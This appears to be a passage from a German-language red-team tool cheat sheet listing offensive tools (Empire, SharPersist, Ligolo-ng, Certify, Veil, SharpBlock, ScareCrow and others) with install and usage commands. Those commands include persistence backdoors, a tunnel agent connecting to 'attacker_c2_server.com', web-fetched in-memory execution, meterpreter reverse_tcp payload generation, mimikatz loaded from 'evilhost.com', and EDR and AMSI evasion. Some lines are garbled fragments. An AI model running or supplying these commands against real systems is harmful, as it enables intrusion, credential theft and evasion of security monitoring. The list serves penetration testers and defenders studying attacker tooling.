Tolle [Cheat Sheet](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) zur Verwendung von Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire ist ein Post-Exploitation-Framework, mit dem Sie Payloads generieren können, um Remote-Verbindungen zu Opfersystemen herzustellen.
Sobald ein Payload auf einem Opfersystem ausgeführt wurde, stellt es eine Verbindung zurück zum Empire-Server her, der dann verwendet werden kann, um Befehle zu erteilen und das Zielsystem zu steuern.
Empire enthält außerdem eine Reihe integrierter Module und Skripte, mit denen bestimmte Aufgaben ausgeführt werden können, wie das Auslesen von Passwort-Hashes, das Zugreifen auf die Windows-Registrierung und das Exfiltrieren von Daten.
**Install:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Verwendung:```bash
./empire
list agents
list listeners
Nützliches [Spickzettel](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) von [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Ein Windows-Persistenz-Toolkit geschrieben in C#.
Das Projekt hat ein [Wiki](https://github.com/mandiant/SharPersist/wiki).
**Installation: (Binär)**
Die aktuellste Version finden Sie [hier](https://github.com/mandiant/SharPersist/releases).
**Installation: (Kompilieren)**
- Laden Sie die Projektdateien aus dem [GitHub-Repo](https://github.com/mandiant/SharPersist) herunter.
- Öffnen Sie das Visual Studio-Projekt und gehen Sie zu "Extras" --> "NuGet-Paket-Manager" --> "Paket-Manager-Einstellungen"
- Gehen Sie zu "NuGet-Paket-Manager" --> "Paketquellen"
- Fügen Sie eine Paketquelle mit der URL "https://api.nuget.org/v3/index.json" hinzu
- Installieren Sie das Costura.Fody NuGet-Paket. Die ältere Version von Costura.Fody (3.3.3) wird benötigt, damit Sie Visual Studio 2019 nicht benötigen.
- `Install-Package Costura.Fody -Version 3.3.3`
- Installieren Sie das TaskScheduler-Paket
- `Install-Package TaskScheduler -Version 2.8.11`
- Sie können nun das Projekt selbst erstellen!
**Verwendung:**
Eine vollständige Liste der Verwendungsbeispiele finden Sie [hier](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng ist ein einfaches, leichtgewichtiges und schnelles Tool, das Pentestern ermöglicht, Tunnels über eine reverse TCP/TLS-Verbindung mithilfe einer tun-Schnittstelle aufzubauen (ohne die Notwendigkeit von SOCKS).
Anstatt einen SOCKS-Proxy oder TCP/UDP-Weiterleitungen zu verwenden, erstellt Ligolo-ng einen Userspace-Netzwerkstack mit Gvisor.
Beim Ausführen des Relay/Proxy-Servers wird eine tun-Schnittstelle verwendet; Pakete, die an diese Schnittstelle gesendet werden, werden übersetzt und dann an das entfernte Netzwerk des Agents übertragen.
Installation: (Download)
Vorkompilierte Binärdateien (Windows/Linux/macOS) sind auf der Release-Seite verfügbar.
Installation: (Build)
Building ligolo-ng (Go >= 1.17 wird benötigt):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Einrichtung: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Einrichtung: (Windows)
Sie müssen den Wintun-Treiber herunterladen (der von WireGuard verwendet wird) und die wintun.dll in denselben Ordner wie Ligolo legen (stellen Sie sicher, dass Sie die richtige Architektur verwenden).
Einrichtung: (Proxy-Server)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Verwendung:**
*Starten Sie den Agenten auf Ihrem Zielcomputer (Opfer) (keine Berechtigungen erforderlich!):*```bash
./agent -connect attacker_c2_server.com:11601
Eine Sitzung sollte auf dem Proxy-Server erscheinen.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Verwenden Sie den Befehl session, um den Agenten auszuwählen.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/nicocha30/ligolo-ng#demo
"Accenture hat ein Tool namens Spartacus entwickelt, das DLL-Hijacking-Möglichkeiten unter Windows findet. Ausgehend von Spartacus haben wir Crassus entwickelt, um die Fähigkeiten zur Windows-Privilegieneskalation über die reine Suche nach fehlenden Dateien hinaus zu erweitern. Die ACLs, die von Dateien und Verzeichnissen privilegierter Prozesse verwendet werden, können mehr finden, als nur nach fehlenden Dateien zu suchen, um das Ziel zu erreichen." - Link
Installation: (Build)
Crassus wurde als Visual Studio 2019-Projekt entwickelt. So erstellen Sie Crassus.exe:
Installation: (vorkompiliert)
Wenn Sie darauf vertrauen, fremden Code auszuführen, ohne zu wissen, was er tut, wird Crassus.exe in diesem Repository bereitgestellt.
Verwendung:
Enable Boot Logging aus.Strg-R zurück.boot.PML. Der Grund für das erneute Speichern der Protokolldatei ist ein zweifacher:
Bild verwendet von https://github.com/vu-ls/Crassus?tab=readme-ov-file#screenshots
LinPEAS ist ein schönes, ausführliches Tool zur Privilegieneskalation, um lokale Privesc-Wege auf Linux-Endpunkten zu finden.
Installation + Verwendung:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS ist ein nützliches, ausführliches Tool zur Privilegieneskalation, um lokale Privesc-Wege auf Windows-Endpunkten zu finden.
**Installation + Nutzung:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration ist ein weiteres gutes, weniger ausführliches Linux-Privilegieneskalationstool für Linux.
Installation + Verwendung:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify ist ein C#-Tool zur Aufzählung und Ausnutzung von Fehlkonfigurationen in Active Directory Certificate Services (AD CS).
Certify ist für den Einsatz in Verbindung mit anderen Red-Team-Tools und -Techniken wie Mimikatz und PowerShell konzipiert, um Red Teamern die Durchführung verschiedener Angriffsarten zu ermöglichen, darunter Man-in-the-Middle-Angriffe, Identitätswechselangriffe und Privilegieneskalationsangriffe.
**Hauptfunktionen von Certify:**
- Zertifikatserstellung
- Zertifikatssignierung
- Zertifikatsimport
- Änderung des Zertifikatstrusts
**Installation: (Kompilieren)**
Certify ist kompatibel mit [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie das Certify-Projekt [.sln](https://github.com/GhostPack/Certify), wählen Sie "Release" und erstellen Sie es.
**Installation: (Ausführen von Certify über PowerShell)**
Wenn Sie Certify im Arbeitsspeicher über einen PowerShell-Wrapper ausführen möchten, kompilieren Sie zunächst Certify und codieren Sie die resultierende Assembly base64:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify kann dann in einem PowerShell-Skript mit folgendem geladen werden (wobei "aa..." durch den base64-kodierten Certify-Assembly-String ersetzt wird):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Die Main()-Methode und alle Argumente können dann wie folgt aufgerufen werden:```
[Certify.Program]::Main("find /vulnerable".Split())
Vollständige Kompilieranweisungen finden Sie hier.
Verwendung:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Ein vollständiges Beispiel-Walkthrough finden Sie [hier](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword ist ein PowerShell-Skript, das Teil des PowerSploit-Toolkits ist. Es wurde entwickelt, um Passwörter für lokale Konten abzurufen, die mithilfe von Gruppenrichtlinienpräferenzen (GPP) erstellt und verwaltet werden.
Get-GPPPassword durchsucht den SYSVOL-Ordner auf dem Domänencontroller nach GPP-Dateien, die Passwortinformationen enthalten. Sobald es diese Dateien findet, entschlüsselt es die Passwortinformationen und zeigt sie dem Benutzer an.
**Installation:**
Folgen Sie den PowerSploit [Installationsanweisungen](https://github.com/A-poc/RedTeam-Tools#powersploit) von diesem Tool-Blatt.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Verwendung:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
PowerShell-Skript zum schnellen Auffinden fehlender Software-Patches für lokale Privilegienausweitungs-Schwachstellen.
*Unterstützt:*
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
- MS16-034 : Windows Kernel-Mode Drivers EoP
- MS16-135 : Win32k Elevation of Privilege
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Privilegienausweitung
**Installation: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Verwendung: (PowerShell)```bash
Find-AllVulns
Find-MS14058
*Bild verwendet von https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/*
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson ist ein .NET-Tool, das entwickelt wurde, um fehlende KBs aufzulisten und Exploits für Privilege Escalation-Schwachstellen vorzuschlagen.
Hervorragend geeignet, um fehlende Patches zu identifizieren und Exploits vorzuschlagen, die verwendet werden könnten, um bekannte Schwachstellen auszunutzen und so höhere Berechtigungen auf dem System zu erlangen.
**Installation:**
Verwenden Sie die [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie die [Watson-Projektmappe .sln](https://github.com/rasta-mouse/Watson), wählen Sie "Release" und erstellen Sie sie.
**Verwendung:**```bash
# Run all checks
Watson.exe
Bildtext verwendet von https://github.com/rasta-mouse/Watson#usage
Ein auf C# basierendes Tool, das den Prozess der Erkennung und Ausnutzung von DLL-Hijacks in Ziel-Binärdateien automatisiert.
Die gefundenen Hijack-Pfade können während eines Engagements genutzt werden, um EDRs zu umgehen.
Installation:
Hinweis: Die Voraussetzungen i & ii sollten im Verzeichnis der ImpulsiveDLLHijacks.exe selbst abgelegt werden.
Build- und Setup-Informationen:
ImpulsiveDLLHijack
Und für die bestätigenden DLLs:
Setup: Kopieren Sie die bestätigenden DLLs (maldll32 & maldll64) in das ImpulsiveDLLHijack.exe-Verzeichnis und führen Sie dann ImpulsiveDLLHijack.exe aus :))
Installationsanleitung von https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Verwendung:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Anwendungsbeispiele finden Sie [hier](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
*Bild verwendet von https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples*
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Ein C#-Tool zum Auslesen aller möglichen nützlichen Daten aus AD FS.
Erstellt von Doug Bienstock [@doughsec](https://twitter.com/doughsec) während seiner Zeit bei Mandiant FireEye.
Dieses Tool ist für die Verwendung zusammen mit ADFSpoof konzipiert. ADFSdump gibt alle erforderlichen Informationen aus, um mit ADFSpoof Sicherheitstoken zu generieren.
**Anforderungen:**
- ADFSDump muss im Benutzerkontext des AD FS-Dienstkontos ausgeführt werden. Diese Informationen erhalten Sie, indem Sie eine Prozessliste auf dem AD FS-Server ausführen oder aus der Ausgabe des Cmdlets Get-ADFSProperties. Nur das AD FS-Dienstkonto verfügt über die erforderlichen Berechtigungen für den Zugriff auf die Konfigurationsdatenbank. Nicht einmal ein DA kann darauf zugreifen.
- ADFSDump geht davon aus, dass der Dienst für die Verwendung der Windows Internal Database (WID) konfiguriert ist. Obwohl es trivial wäre, einen externen SQL-Server zu unterstützen, ist diese Funktion derzeit nicht vorhanden.
- ADFSDump muss lokal auf einem AD FS-Server ausgeführt werden, NICHT auf einem AD FS-Webanwendungsproxy. Auf die WID kann nur lokal über eine Named Pipe zugegriffen werden.
**Installation: (Kompilieren)**
ADFSDump wurde mit .NET 4.5 und Visual Studio 2017 Community Edition erstellt. Öffnen Sie einfach die Projektdatei .sln, wählen Sie "Release" und erstellen Sie es.
**Verwendung: (Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Erkundung des Golden SAML-Angriffs gegen ADFS
Bild verwendet von https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
BeRoot Project ist ein Post-Exploitation-Tool, das häufige Fehlkonfigurationen prüft, um einen Weg zur Privilegienausweitung zu finden.
Das Ziel von BeRoot ist es, nur potenzielle Privilegienausweitungsmöglichkeiten auszugeben und nicht eine Endpunktkonfigurationsbewertung.
Dieses Projekt funktioniert unter Windows, Linux und Mac OS.
Installation: (Linux)```bash git clone https://github.com/AlessandroZ/BeRoot cd BeRoot/Linux/
**Installation: (Windows)**
Eine vorkompilierte Version von BeRoot finden Sie [hier](https://github.com/AlessandroZ/BeRoot/releases).
**Verwendung:**```bash
# Run BeRoot
python beroot.py
# Run BeRoot with user password (If you know the password use it, you could get more results)
python beroot.py --password super_strong_password
Weitere Informationen finden Sie hier für:
Bild verwendet von https://github.com/AlessandroZ/BeRoot
Ein mit PowerShell v2.0+ kompatibler PowerShell-Befehls- und Skript-Obfuskator. Wenn ein Opfer-Endpoint PowerShell ausführen kann, ist dieses Tool hervorragend geeignet, um stark obfuskierte Skripte zu erstellen.
Installation:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Verwendung:**```bash
./Invoke-Obfuscation
Veil ist ein Tool zur Generierung von Metasploit-Payloads, die gängige Antivirenlösungen umgehen.
Es kann zur Generierung von obfuskiertem Shellcode verwendet werden. Weitere Informationen finden Sie im offiziellen Veil-Framework-Blog.
Installation: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Installation: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Nutzung:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Die Ersteller von Veil haben einen netten [Blogbeitrag](https://www.veil-framework.com/veil-command-line-usage/) geschrieben, der die Verwendung weiterer Command-Line-Tools für Ordnance und Evasion erklärt.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Eine Methode, um die aktiven Projektions-DLLs von EDR zu umgehen, indem die Ausführung des Einstiegspunkts verhindert wird.
**Funktionen:**
- Blockiert die Ausführung von EDR-DLL-Einstiegspunkten, wodurch das Setzen von EDR-Hooks verhindert wird.
- Patchesloser AMSI-Bypass, der für Scanner, die zur Laufzeit nach Code-Patches in Amsi.dll suchen, nicht erkennbar ist.
- Hostprozess, der durch ein implantierbares PE ersetzt wird, das von der Festplatte, per HTTP oder Named Pipe (Cobalt Strike) geladen werden kann.
- Der implantierte Prozess wird ausgeblendet, um Scanner zu umgehen, die nach ausgehöhlten Prozessen suchen.
- Befehlszeilenargumente werden gefälscht und nach der Prozesserstellung mithilfe einer heimlichen EDR-Erkennungsmethode implantiert.
- Patchesloser ETW-Bypass.
- Blockiert den Aufruf von NtProtectVirtualMemory, wenn der Aufrufer sich im Adressraum einer blockierten DLL befindet.
**Installation:**
Nutzen Sie [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/), um die SharpBlock-Binärdatei zu kompilieren.
Öffnen Sie das SharpBlock [Projekt .sln](https://github.com/CCob/SharpBlock), wählen Sie „Release“ und erstellen Sie es.
**Verwendung:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Schöner Blogbeitrag von PenTestPartners hier.
Bild verwendet von https://youtu.be/0W9wkamknfM
Alcatraz ist ein GUI x64-Binärobfuszierer, der verschiedene PE-Dateien verschleiern kann, darunter:
Einige unterstützte Obfuskationsfunktionen umfassen:
Installation: (Voraussetzungen)
Installieren: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Verwendung:**
Verwendung der GUI zum Verschleiern einer Binärdatei:
1. Laden Sie eine Binärdatei, indem Sie oben links auf `file` klicken.
2. Fügen Sie Funktionen hinzu, indem Sie den `Functions`-Baum erweitern. (Sie können suchen, indem Sie den Namen in die Suchleiste oben eingeben)
3. Klicken Sie auf `compile` (**Hinweis:** *Das Verschleiern vieler Funktionen kann einige Sekunden dauern*)
*Bild verwendet von https://github.com/weak1337/Alcatraz*
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle ist ein Werkzeug, das Aspekte von kompilierten ausführbaren Dateien (.exe oder DLL) manipuliert.
Mangle kann bekannte Indikatoren für Kompromittierung (IoC) basierte Zeichenfolgen entfernen und durch zufällige Zeichen ersetzen, die Datei durch Vergrößern der Größe ändern, um EDRs zu umgehen, und Code-Signaturzertifikate von legitimen Dateien klonen.
Dadurch hilft Mangle Ladeprogrammen, On-Disk- und In-Memory-Scanner zu umgehen.
**Installation:**
Der erste Schritt ist, wie immer, das Klonen des Repos. Bevor Sie Mangle kompilieren, müssen Sie die Abhängigkeiten installieren. Führen Sie dazu die folgenden Befehle aus:```
go get github.com/Binject/debug/pe
Dann baue es.``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Verwendung:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Die vollständige Nutzungsinformationen finden Sie hier.
Image used from https://github.com/optiv/Mangle
AMSI.fail ist eine großartige Website, die verwendet werden kann, um obfuskierte PowerShell-Snippets zu generieren, die AMSI für den aktuellen Prozess unterbrechen oder deaktivieren.
Die Snippets werden zufällig aus einem kleinen Pool von Techniken/Variationen ausgewählt, bevor sie obfuskiert werden. Jedes Snippet wird zur Laufzeit/auf Anfrage obfuskiert, sodass keine generierte Ausgabe die gleichen Signaturen teilt.
Nützlicher f-secure Blog, der AMSI erklärt hier.
Image used from http://amsi.fail/
ScareCrow ist ein Framework zur Erstellung von Payloads für das Side-Loading (nicht Injecting) in einen legitimen Windows-Prozess (Umgehung von Application-Whitelisting-Kontrollen).
Sobald der DLL-Lader in den Speicher geladen ist, nutzt er eine Technik, um die Hooks eines EDR aus den System-DLLs zu entfernen, die im Speicher des Prozesses laufen.
Bei der Ausführung kopiert ScareCrow die Bytes der System-DLLs, die auf der Festplatte in C:\Windows\System32\ gespeichert sind. Diese DLLs sind auf der Festplatte „sauber“ von EDR-Hooks, da sie vom System verwendet werden, um eine unveränderte Kopie in einen neuen Prozess zu laden, wenn dieser gestartet wird. Da EDRs diese Prozesse nur im Speicher hooken, bleiben sie unverändert.
Nützliche Blogs zum Erlernen der von ScareCrow verwendeten Techniken:
Installation:
ScareCrow benötigt golang 1.16.1 oder höher, um Loader zu kompilieren.```bash
git clone https://github.com/optiv/ScareCrow cd ScareCrow
go get github.com/fatih/color go get github.com/yeka/zip go get github.com/josephspurrier/goversioninfo
openssl osslsigncode mingw-w64
go build ScareCrow.go
**Verwendung:**```
Usage of ./ScareCrow:
-I string
Path to the raw 64-bit shellcode.
-Loader string
Sets the type of process that will sideload the malicious payload:
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
[*] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
...
Vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/optiv/ScareCrow